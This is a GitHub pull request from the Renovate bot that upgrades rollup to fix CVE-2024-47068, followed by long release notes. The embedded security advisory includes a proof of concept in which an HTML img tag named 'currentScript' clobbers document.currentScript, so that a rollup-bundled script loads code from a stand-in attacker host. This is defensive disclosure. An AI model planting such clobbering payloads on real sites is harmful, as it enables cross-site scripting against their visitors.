Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

chore(deps): update dependency rollup to v2.79.2 [security] #645

Open
wants to merge 1 commit into
base: develop
Choose a base branch
from

Conversation

renovate[bot]
Copy link

@renovate renovate bot commented Sep 24, 2024

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
rollup (source) 2.51.2 -> 2.79.2 age adoption passing confidence

GitHub Vulnerability Alerts

CVE-2024-47068

Summary

We discovered a DOM Clobbering vulnerability in rollup when bundling scripts that use import.meta.url or with plugins that emit and reference asset files from code in cjs/umd/iife format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

It's worth noting that we’ve identifed similar issues in other popular bundlers like Webpack (CVE-2024-43788), which might serve as a good reference.

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadget found in rollup

We have identified a DOM Clobbering vulnerability in rollup bundled scripts, particularly when the scripts uses import.meta and set output in format of cjs/umd/iife. In such cases, rollup replaces meta property with the URL retrieved from document.currentScript.

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L157-L162

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L180-L185

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element (e.g., an img tag ) is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

PoC

Considering a website that contains the following main.js script, the devloper decides to use the rollup to bundle up the program: rollup main.js --format cjs --file bundle.js.

var s = document.createElement('script')
s.src = import.meta.url + 'extra.js'
document.head.append(s)

The output bundle.js is shown in the following code snippet.

'use strict';

var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null;
var s = document.createElement('script');
s.src = (typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(__filename).href : (_documentCurrentScript && False && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)) + 'extra.js';
document.head.append(s);

Adding the rollup bundled script, bundle.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server due to the introduced gadget during bundling. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>rollup Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="bundle.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include rollup-bundled files (configured with an output format of cjs, iife, or umd and use import.meta) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch

Patching the following two functions with type checking would be effective mitigations against DOM Clobbering attack.

const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
	getResolveUrl(
		`'${escapeId(relativePath)}', ${
			umd ? `typeof document === 'undefined' ? location.href : ` : ''
		}document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`
	);
const getUrlFromDocument = (chunkId: string, umd = false) =>
	`${
		umd ? `typeof document === 'undefined' ? location.href : ` : ''
	}(${DOCUMENT_CURRENT_SCRIPT} && ${DOCUMENT_CURRENT_SCRIPT}.tagName.toUpperCase() === 'SCRIPT' &&${DOCUMENT_CURRENT_SCRIPT}.src || new URL('${escapeId(
		chunkId
	)}', document.baseURI).href)`;

Release Notes

rollup/rollup (rollup)

v2.79.2

Compare Source

v2.79.1

Compare Source

2022-09-22

Bug Fixes
  • Avoid massive performance degradation when creating thousands of chunks (#​4643)
Pull Requests

v2.79.0

Compare Source

2022-08-31

Features
  • Add amd.forceJsExtensionForImports to enforce using .js extensions for relative AMD imports (#​4607)
Pull Requests

v2.78.1

Compare Source

2022-08-19

Bug Fixes
  • Avoid inferring "arguments" as name for a default export placeholder variable (#​4613)
Pull Requests

v2.78.0

Compare Source

2022-08-14

Features
  • Support writing plugin hooks as objects with a "handler" property (#​4600)
  • Allow changing execution order per plugin hook (#​4600)
  • Add flag to execute plugins in async parallel hooks sequentially (#​4600)
Pull Requests

v2.77.3

Compare Source

2022-08-11

Bug Fixes
  • Correctly resolve preserveModulesRoot in Vite (#​4591)
Pull Requests

v2.77.2

Compare Source

2022-07-27

Bug Fixes
  • Avoid a rendering failure when mixing outputs with inlined and non-inlined dynamic imports (#​4589)
Pull Requests

v2.77.1

Compare Source

2022-07-26

Bug Fixes
  • Ensure IIFE output generates a global variable when generating ES5 (#​4588)
Pull Requests

v2.77.0

Compare Source

2022-07-15

Features
  • Introduce maxParallelFileOps to limit both read and write operations, default to 20 and replaces maxParallelFileRead (#​4570)
Bug Fixes
  • Avoid including variables referenced from return statements that are never reached (#​4573)
Pull Requests

v2.76.0

Compare Source

2022-07-08

Features
  • Allow setting a sourcmapBaseUrl for absolute paths in sourcemaps (#​4527)
Bug Fixes
  • Support absolute CLI plugin paths on Windows (#​4533)
Pull Requests

v2.75.7

Compare Source

2022-06-20

Bug Fixes
  • Mark Array.prototype.group/groupToMap as side effect free. (#​4531)
Pull Requests

v2.75.6

Compare Source

2022-06-07

Bug Fixes
  • Properly deoptimize "this" when using member expressions with getters/setters in for loops and update expressions (#​4522)
Pull Requests

v2.75.5

Compare Source

2022-06-01

Bug Fixes
  • Avoid crashes when using logical expressions for unused constructor arguments (#​4519)
  • Fix missing parameter defaults for calls from try statements and functions returned by functions (#​4520)
Pull Requests

v2.75.4

Compare Source

2022-05-31

Bug Fixes
  • Ensure parameter defaults are retained when a function is used as an object property (#​4516)
Pull Requests

v2.75.3

Compare Source

2022-05-29

Bug Fixes
  • Retain parameter defaults for functions that are defaults themselves (#​4515)
  • Track mutations for objects as default values (#​4515)
Pull Requests

v2.75.2

Compare Source

v2.75.1

Compare Source

2022-05-28

Pull Requests

v2.75.0

Compare Source

2022-05-27

Features
  • Re-implement default parameter tree-shaking for top-level functions (#​4510)
  • Do not consider calling string methods like .trim() on template literals a side effect (#​4511)
Pull Requests

v2.74.1

Compare Source

2022-05-19

Bug Fixes
  • Revert #​4498 until some issues are understood and resolved

v2.74.0

Compare Source

2022-05-19

Features
  • Remove unneeded default values for function parameters (#​4498)
Bug Fixes
  • Use a consistent mechanism to resolve the config file to avoid issues on Windows (#​4501)
  • Avoid an inaccurate warning about an event emitter leak for complicated builds (#​4502)
  • Ensure that reexporting values from other chunks via dynamic imports does not reference non-imported variables (#​4499)
Pull Requests

v2.73.0

Compare Source

2022-05-13

Features
  • Do not treat Object.defineProperty/ies as side effect when called on an unused object (#​4493)
  • Do not assume that assigning a property can create a getter with side effects (#​4493)
  • Do not treat string.prototype.replace(All) as side effect when used with two literals (#​4493)
Bug Fixes
  • Detect side effects when manually declaring getters on functions (#​4493)
Pull Requests

v2.72.1

Compare Source

2022-05-07

Bug Fixes
  • Improve tree-shaking of classes with super classes in certain scenarios (#​4489)
Pull Requests

v2.72.0

Compare Source

2022-05-05

Features
  • Add CLI hooks to run external commands at certain points in watch mode (#​4457)
Bug Fixes
  • Fix an issue that could accidentally treat relevant assignments as side effect free (#​4486)
Pull Requests

v2.71.1

Compare Source

2022-04-30

Bug Fixes
  • Allow importing loadConfigFile without extension (#​4483)
Pull Requests

v2.71.0

Compare Source

2022-04-30

v2.70.2

Compare Source

2022-04-15

Bug Fixes
  • Do not enforce undefined return values in TypeScript types (#​4463)
Pull Requests

v2.70.1

Compare Source

v2.70.0

Compare Source

v2.69.2

Compare Source

v2.69.1

Compare Source

v2.69.0

Compare Source

v2.68.0

Compare Source

v2.67.3

Compare Source

v2.67.2

Compare Source

v2.67.1

Compare Source

v2.67.0

Compare Source

v2.66.1

Compare Source

v2.66.0

Compare Source

v2.65.0

Compare Source

v2.64.0

Compare Source

v2.63.0

Compare Source

v2.62.0

Compare Source

v2.61.1

Compare Source

v2.61.0

Compare Source

v2.60.2

Compare Source

v2.60.1

Compare Source

v2.60.0

Compare Source

v2.59.0

Compare Source

v2.58.3

Compare Source

v2.58.2

Compare Source

v2.58.1

Compare Source

v2.58.0

Compare Source

v2.57.0

Compare Source

v2.56.3

Compare Source

2021-08-23

Bug Fixes
  • Make sure moduleInfo contains complete information about imported ids in the moduleParsed hook (#​4208)
Pull Requests

v2.56.2

Compare Source

2021-08-10

Bug Fixes
  • Check if after simplification, an object pattern would become an expression statement or arrow function return value (#​4204)
Pull Requests

v2.56.1

Compare Source

2021-08-08

Bug Fixes
  • Fix rendering of SystemJS export declarations initialized with a simplifiable expression (#​4202)
Pull Requests

v2.56.0

Compare Source

2021-08-05

Features
  • Create more efficient code for SystemJS exports (#​4199)
  • Extend maxParallelFileReads option to also throttle plugin load hooks (#​4200)
Bug Fixes
  • Return correct value for postfix update expressions of exported variables (#​4194)
Pull Requests

v2.55.1

Compare Source

2021-07-29

Bug Fixes
  • Improve CLI warning message for unused external imports (#​4194)
Pull Requests

v2.55.0

Compare Source

2021-07-28

Features
  • Support default export live-bindings when generating ESM output (#​4182)
Bug Fixes
  • Always write ["default"] as computed property when used as named export (#​4182)
  • Do not mask default export TDZ errors (#​4182)
Pull Requests

v2.54.0

Compare Source

2021-07-25

Features
  • Extend UMD import.meta.url polyfill to support web workers (#​4186)
Bug Fixes
  • Resolve an issue where certain uses of classes could lead to an infinite recursion (#​4189)
Pull Requests

v2.53.3

Compare Source

2021-07-21

Bug Fixes
  • Solve an issue that could lead to severe memory issues and crashes when there are a lot of hoisted variables (#​4183)
Pull Requests

v2.53.2

Compare Source

2021-07-15

Bug Fixes
  • Identify additional TDZ situations in functions that are run more than once (#​4177)
  • Fix a scoping issue when a variable inside a catch scope matches the scope parameter's name (#​4178)
Pull Requests

v2.53.1

Compare Source

2021-07-11

Bug Fixes
  • Do not omit namespace reexports when treeshake is false (#​4175)
Pull Requests

v2.53.0

Compare Source

2021-07-09

Features
  • Add maxParallelFileReads option to limit read operations with a default of 20 (#​4170)
Pull Requests

v2.52.8

Compare Source

2021-07-07

Bug Fixes
  • Automatically handle many use var before declaration and TDZ access scenarios correctly without the need for treeshake.correctVarValueBeforeDeclaration (#​4148)
Pull Requests

v2.52.7

Compare Source

2021-07-02

Bug Fixes
  • Fix an issue where reassignments where not tracked through async function returns (#​4163)
Pull Requests

v2.52.6

Compare Source

2021-07-01

Bug Fixes
  • Fix an issue where reassignments where not tracked through an await expression (#​4162)
Pull Requests

v2.52.5

Compare Source

2021-07-01

Bug Fixes
  • Properly display parser errors not tied to a code location (#​4160)
Pull Requests

v2.52.4

Compare Source

2021-06-30

Bug Fixes
  • Fix an error when external namespaces are reexported across several files (#​4159)
Pull Requests

v2.52.3

Compare Source

2021-06-25

Bug Fixes
  • Fix an issue where code was wrongly removed when using vars in nested scopes (#​4149)
Pull Requests

v2.52.2

Compare Source

2021-06-21

Bug Fixes
  • Support falsy plugins in types (#​4144)
  • Do not require return value in renderChunkHook type (#​4144)
Pull Requests

v2.52.1

Compare Source

2021-06-17

Bug Fixes
  • Fix a memory leak in watch mode (#​4142)
Pull Requests

v2.52.0

Compare Source

2021-06-16

Features
  • Add --configPlugin CLI option to apply plugins to the config file for e.g. TypeScript configs (#​3835)
  • Add "safest" and "smallest" presets to tree-shaking options for easier configuration (#​4131)
  • Add treeshake.correctVarValueBeforeDeclaration option to deoptimize var declarations (#​4139)
Pull Requests

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Enabled.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot changed the title chore(deps): update dependency rollup to v3 [security] chore(deps): update dependency rollup to v3 [security] - autoclosed Sep 26, 2024
@renovate renovate bot closed this Sep 26, 2024
@renovate renovate bot deleted the renovate/npm-rollup-vulnerability branch September 26, 2024 22:40
@renovate renovate bot changed the title chore(deps): update dependency rollup to v3 [security] - autoclosed chore(deps): update dependency rollup to v3 [security] Sep 27, 2024
@renovate renovate bot reopened this Sep 27, 2024
@renovate renovate bot restored the renovate/npm-rollup-vulnerability branch September 27, 2024 08:23
@renovate renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from 0b674f0 to 4d07391 Compare September 27, 2024 08:23
@renovate renovate bot changed the title chore(deps): update dependency rollup to v3 [security] chore(deps): update dependency rollup to v2.79.2 [security] Sep 27, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

0 participants